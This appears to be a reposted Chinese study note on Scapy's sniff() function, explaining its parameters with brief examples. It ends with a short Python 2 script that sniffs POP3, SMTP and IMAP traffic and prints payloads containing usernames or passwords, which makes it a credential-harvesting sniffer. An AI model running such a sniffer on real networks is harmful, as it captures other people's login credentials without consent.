python-scapy學習筆記-(1)


主要功能函數sniff

sniff(filter="",iface="any",prn=function,count=N)

filter參數允許我們對Scapy嗅探的數據包指定一個BPF(Wireshark類型)的過濾器,也可以留空以嗅探所有的數據包。

  例如:嗅探所有的HTTP數據包,tcp port 80的BPF過濾

iface參數設置嗅探器所要嗅探的網卡,留空則對所有網卡進行嗅探。

  例如:wlan0

prn參數指定嗅探到符合過濾器條件的數據包時所調用的回調函數,這個回調函數以接受到的數據包對象作為唯一的參數。

  例如:

  def pack_callback(packet):
  print packet.show()

  sniff(prn=pack_callback,iface="wlan0",count=1)

count參數指定你需要嗅探的數據包的個數,留空則默認為嗅探無限個

 

此處添加一個嗅探mail的源碼

 

#coding:utf-8
from scapy.all import *
def pack_callback(packet):
print packet.show()
if packet[TCP].payload:
mail_packet=str(packet[TCP].payload)
if "user" in mail_packet.lower() or "pass" in mail_packet.lower():
print "Server:%s"%packet[IP].dst
print "%s"%packet[TCP].payload

sniff(filter="tcp port 110 or tcp port 25 or tcp port 143",prn=pack_callback,iface="wlan0",count=0)

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM